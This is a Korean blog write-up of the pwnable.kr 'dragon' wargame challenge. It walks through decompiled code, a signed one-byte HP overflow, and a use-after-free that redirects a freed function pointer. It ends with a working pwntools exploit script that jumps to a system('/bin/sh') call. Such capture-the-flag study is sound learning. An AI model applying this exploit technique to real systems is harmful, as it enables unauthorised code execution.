블로그 이전했습니다. https://jeongzero.oopy.io/
[pwnable.kr] dragon
본문 바로가기
워게임/pwnable.kr

[pwnable.kr] dragon

728x90

1. 문제


1) mitigation 확인

PIE가 안걸려있다.

2) 문제 확인

게임 형식으로 진행된다. Hero를 선택하면 선택한 히어로가 가지는 스킬로 용과 싸울수 있다. 용의 HP를 다 뺏으면 되는거 같다.

3) 코드흐름 파악

  • playGame()
    int PlayGame()
    {
      int result; // eax
    
      while ( 1 )
      {
        while ( 1 )
        {
          puts("Choose Your Hero\n[ 1 ] Priest\n[ 2 ] Knight");
          result = GetChoice();
          if ( result != 1 && result != 2 )
            break;
          FightDragon(result);
        }
        if ( result != 3 )
          break;
        SecretLevel();
      }
      return result;
    }

    PlayGame() 함수를 보면 1 or 2 둘중 하나를 선택한다. 이게 아마 히어로 종류인듯싶다. 선택한 히어로로 FightDragon() 함수가 호출된다. 그리고 3번으로 SecreteLevel() 함수가 호출된다.

  • SecretLevel()
    unsigned int SecretLevel()
    {
      char s1; // [esp+12h] [ebp-16h]
      unsigned int v2; // [esp+1Ch] [ebp-Ch]
    
      v2 = __readgsdword(0x14u);
      printf("Welcome to Secret Level!\nInput Password : ");
      __isoc99_scanf("%10s", &s1);
      if ( strcmp(&s1, "Nice_Try_But_The_Dragons_Won't_Let_You!") )
      {
        puts("Wrong!\n");
        exit(-1);
      }
      system("/bin/sh");
      return __readgsdword(0x14u) ^ v2;
    }

    strcmp로 입력한 문자열과 뭐를 비교하는데, 내가 입력할수 있는 사이즈는 최대 10바이트라 strcmp를 통과할순 없다. 그럼 일단 여기를 어케 생각할수 있을지 고민해야한다.

  • FightDragon()
    void __cdecl FightDragon(int a1)
    {
      char v1; // al
      void *v2; // ST1C_4
      int result; // [esp+10h] [ebp-18h]
      user *user; // [esp+14h] [ebp-14h]
      dragon *dragon; // [esp+18h] [ebp-10h]
    
      user = (user *)malloc(0x10u);
      dragon = (dragon *)malloc(0x10u);
      v1 = Count++;
      if ( v1 & 1 )
      {
        dragon->type = 1;
        dragon->hp = 0x50;
        dragon->heal = 4;
        dragon->damage = 0xA;
        dragon->info = (void (__cdecl *)(char *))PrintMonsterInfo;
        puts("Mama Dragon Has Appeared!");
      }
      else
      {
        dragon->type = 0;                           // monter type
        dragon->hp = 0x32;                          // monster hp
        dragon->heal = 5;                           // monster_heal
        dragon->damage = 0x1E;                      // damage
        dragon->info = (void (__cdecl *)(char *))PrintMonsterInfo;// printmonster_info func
        puts("Baby Dragon Has Appeared!");
      }
      if ( a1 == 1 )
      {
        user->type = 1;                             // user_type
        user->hp = 0x2A;                            // user_hp
        user->mp = 0x32;                            // user_mp
        user->info = (void (__cdecl *)())PrintPlayerInfo;// printuser_info func
        result = PriestAttack(user, dragon);
      }
      else
      {
        if ( a1 != 2 )
          return;
        user->type = 2;
        user->hp = 50;
        user->mp = 0;
        user->info = (void (__cdecl *)())PrintPlayerInfo;
        result = KnightAttack(user, dragon);
      }
      if ( result )
      {
        puts("Well Done Hero! You Killed The Dragon!");
        puts("The World Will Remember You As:");
        v2 = malloc(0x10u);
        __isoc99_scanf("%16s", v2);
        puts("And The Dragon You Have Defeated Was Called:");
        dragon->info(dragon);
      }
      else
      {
        puts("\nYou Have Been Defeated!");
      }
      free(user);
    }

    요 함수가 중요하다. 초기에 dragon, user를 위한 힙을 할당한다. 그리고 각각의 초기 정보를 세팅한다. 원래는 저렇게 보기 좋게 안생겼고, 분석을 쉽게하기 위해 구조체를 만들어줘서 저렇게 잘보인다.

    여튼 여기서 용의 종류가 2개 있다. 아기 용, 엄마 용이고 각자의 HP도 다르다. 그리고 PriestAttack() 이나 KnightAttack() 함수의 반환값이 참이면 용을 죽여다는 뜻으로 보인다. 용을 죽이면 malloc으로 힙을 할당하고 거기에 소감을 남길수 있다.

  • KnightAttack()
    int __cdecl PriestAttack(user *user, dragon *dragon)
    {
      int choice; // eax
    
      do
      {
        dragon->info(dragon);
        ((void (__cdecl *)(user *))user->info)(user);
        choice = GetChoice();
        switch ( choice )
        {
          case 2:
            puts("Clarity! Your Mana Has Been Refreshed");
            user->mp = 50;
            printf("But The Dragon Deals %d Damage To You!\n", dragon->damage);
            user->hp -= dragon->damage;
            printf("And The Dragon Heals %d HP!\n", dragon->heal);
            dragon->hp += dragon->heal;
            break;
          case 3:
            if ( user->mp <= 24 )
            {
              puts("Not Enough MP!");
            }
            else
            {
              puts("HolyShield! You Are Temporarily Invincible...");
              printf("But The Dragon Heals %d HP!\n", dragon->heal);
              dragon->hp += dragon->heal;
              user->mp -= 25;
            }
            break;
          case 1:
            if ( user->mp <= 9 )
            {
              puts("Not Enough MP!");
            }
            else
            {
              printf("Holy Bolt Deals %d Damage To The Dragon!\n", 20);
              dragon->hp -= 20;
              user->mp -= 10;
              printf("But The Dragon Deals %d Damage To You!\n", dragon->damage);
              user->hp -= dragon->damage;
              printf("And The Dragon Heals %d HP!\n", dragon->heal);
              dragon->hp += dragon->heal;
            }
            break;
        }
        if ( user->hp <= 0 )
        {
          free(dragon);
          return 0;
        }
      }
      while ( dragon->hp > 0 );
      free(dragon);
      return 1;
    }

    case 문은 그냥 해당 히어로가 가진 스킬에 따른 hp를 줄이거나 mp를 줄이거나 그런 기능이다. 중요한건 밑에 부분이다. 공격이 진행되고, 히어로 즉 user의 hp가 0이면 용한테 진거고, return 0이 된다. 0이 return 되면 이전 함수에서 용한테 졌기 때문에 FightDragon() 함수가 종료된다.

    또한 만약 user의 hp가 0보다 크고, dragon의 hp가 0보다 크면 아직 게임을 더 진행할수 있다. user의 hp가 0보다 큰데, dragon의 hp가 0보다 작으면 용을 죽인거고, free(dragon)을 하고 return 1이 된다.

    헌데 여기서 draon을 free했는데 , FightDragon()에서 아래의 코드가 진행된다.

      if ( result )
      {
        puts("Well Done Hero! You Killed The Dragon!");
        puts("The World Will Remember You As:");
        v2 = malloc(0x10u);
        __isoc99_scanf("%16s", v2);
        puts("And The Dragon You Have Defeated Was Called:");
        dragon->info(dragon);
      }

free(dragon)을 했기 때문에, malloc(0x10) 하면 free 청크를 재할당해줄것이다. 할당받은 v2는 원래 dragon 영역이고, 거기에 원하는 값을 쓸수가 있다. 근데 바로 밑에서 free 했던 dragon→info() 함수를 호출한다. 즉 우리가 입력한 값이 함수포인터로 호출된다는 소리이다.

2. 접근방법


결국 용을 이기고, v2에 SercretLevel() 함수의 system함수 부분을 입력하면 끝이다. 이제 제일 중요한건 용을 이기는 방법이다. 정상적인 방법으로는 용을 못이긴다.

PriestAttack() 에서 3가지의 스킬을 가진다. 헌데 이 3가지 스킬중 아무거나 해도 엄마 용의 hp는 매번 +4씩 회복된다. hp는 부호있는 한바이트의 자료형을 갖는다. 따라서 엄마용의 hp는 overflow 시켜 음수의 값으로 만드는게 포인트이다./

3. 풀이


GNU nano 2.9.3                                   ex.py                                             

from pwn import *
context(log_level='DEBUG')
p=process('./dragon')
#p=remote('pwnable.kr',9004)
p.sendlineafter('Knight\n','1')
p.sendlineafter('Invincible.\n','1')
p.sendlineafter('Invincible.\n','1')

p.sendlineafter('Knight\n','1')

p.sendlineafter('You Become Temporarily Invincible.\n','3')
p.sendlineafter('You Become Temporarily Invincible.\n','3')
p.sendlineafter('You Become Temporarily Invincible.\n','2')

p.sendlineafter('Invincible.\n','3')
p.sendlineafter('Invincible.\n','3')
p.sendlineafter('Invincible.\n','2')

script="""
b* 0x8048ae3
"""
gdb.attach(p,script)


p.sendlineafter('Invincible.\n','3')
p.sendlineafter('Invincible.\n','3')
p.sendlineafter('Invincible.\n','2')


p.sendlineafter('Invincible.\n','3')
p.sendlineafter('Invincible.\n','3')
p.sendlineafter('Invincible.\n','2')


p.sendlineafter('You As:\n',p32(0x08048DBF))


p.interactive()

4. 몰랐던 개념


갑자기 궁금한게 생겼다. 보통 코딩을 할때 int면 부호가 있고, unsigned int면 부호가 없다. 근데 컴퓨터는 이걸 어케 판단하지?라는 궁금증이 생겼다. 단순 그냥 부호비트로 판단하는거 말고 다음과 같은 경우를 말한다.

현재 al에 담긴 값이 용의 hp이다. hp는 부호있는 한바이트 자료형이므로 최대 표현범위는 다음과 같다

  • -127 ~ 127

기존에 알고있던 지식으로는 현재 al이 0x78 이니까 test al, al 을 하면 al이 0이 아니므로 zf=0일것이다. 그리고 jg는 단순 a>b 연산으로 알고있어서 현재 al, al은 같은 값이니까 jg는 참이 아닐것이다.

근데 위 코드를 보면 참으로 판단되네? 왜그러지?

결론은 그냥 jg가 >이걸로 판단하면 안된다. jmp 관련 어셈의 종류가 많은게 다 이유가 있다.

이렇게 JG 어셈은 signed 자료형의 연산에서 사용되는 분기 명령어이고, 해당 조건을 만족하려면, zf=0, sf=0f 여야한다. 위 상황에서는 al이 0이 아니므로 zf는 0이고, 연산의 결과가 양수이므로 sf=0이다. 또한 오버플로가 일어나지 않았으므로 of=0 이다.

따라서 JG 참인 조건을 만족하므로 JG로 점프를 하는 것이다. 헌데 한번더 루프를 돌면

al은 0x80(1000,0000)이 되서 부호비트 부분이 1이 되었다. 따라서 SF 플래그가 1로 세팅될것이고, 나머지 플래그는 그대로 0이다. 따라서 JG의 참인조건인 SF=OF를 만족하지 못해 False가 된다.

실제 인티저 오버플로우 같은거를 저렇게 어셈에 따라서 판단되는거 같다. 따라서 용의 hp 자료형을 unsigned로 바꾸면 저런 문제는 안생길꺼 같다. unsigned 면 JG가 아닌 JA 어셈으로 될것이고, JA는 zf=0 and cf=0 이면 True이기 때문에, 위 상황에서도 True로 판단될 것이다.

728x90

'워게임 > pwnable.kr' 카테고리의 다른 글

[pwnable.kr] fix  (0) 2020.10.04
[pwnable.kr] md5 calculator  (0) 2020.09.23
[pwnable.kr] brainfuck  (0) 2020.09.23
[pwnble.kr] leg  (0) 2020.09.06
[pwnable.kr] shellshock  (0) 2020.09.06